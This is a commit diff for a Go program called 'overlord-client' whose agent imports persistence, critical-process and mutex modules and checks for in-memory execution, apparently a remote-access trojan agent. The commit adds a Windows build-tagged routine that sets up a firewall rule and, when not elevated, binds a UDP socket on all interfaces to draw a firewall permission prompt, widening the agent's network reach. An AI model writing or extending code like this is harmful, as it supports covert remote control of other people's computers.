add optional full require + fix some tests
This commit is contained in:
@@ -8,6 +8,7 @@ import (
|
||||
"overlord-client/cmd/agent/criticalproc"
|
||||
"overlord-client/cmd/agent/mutex"
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
"overlord-client/cmd/agent/webrtcpub"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@@ -21,6 +22,7 @@ func main() {
|
||||
}
|
||||
|
||||
runBoundFiles()
|
||||
webrtcpub.PromptFirewallPermissionOnStartup()
|
||||
|
||||
if cfg.EnablePersistence {
|
||||
if isRunningInMemory() {
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
//go:build !windows || !overlord_webrtc || !webrtc_firewall_startup_prompt
|
||||
|
||||
package webrtcpub
|
||||
|
||||
func PromptFirewallPermissionOnStartup() {}
|
||||
@@ -0,0 +1,34 @@
|
||||
//go:build windows && overlord_webrtc && webrtc_firewall_startup_prompt
|
||||
|
||||
package webrtcpub
|
||||
|
||||
import (
|
||||
"log"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func PromptFirewallPermissionOnStartup() {
|
||||
go func() {
|
||||
ensureFirewallRule()
|
||||
if windows.GetCurrentProcessToken().IsElevated() {
|
||||
return
|
||||
}
|
||||
probeFirewallPermissionPrompt()
|
||||
}()
|
||||
}
|
||||
|
||||
func probeFirewallPermissionPrompt() {
|
||||
pc, err := net.ListenPacket("udp4", "0.0.0.0:0")
|
||||
if err != nil {
|
||||
log.Printf("webrtcpub: firewall permission probe failed: %v", err)
|
||||
return
|
||||
}
|
||||
defer pc.Close()
|
||||
|
||||
_ = pc.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
var buf [1]byte
|
||||
_, _, _ = pc.ReadFrom(buf[:])
|
||||
}
|
||||
Reference in New Issue
Block a user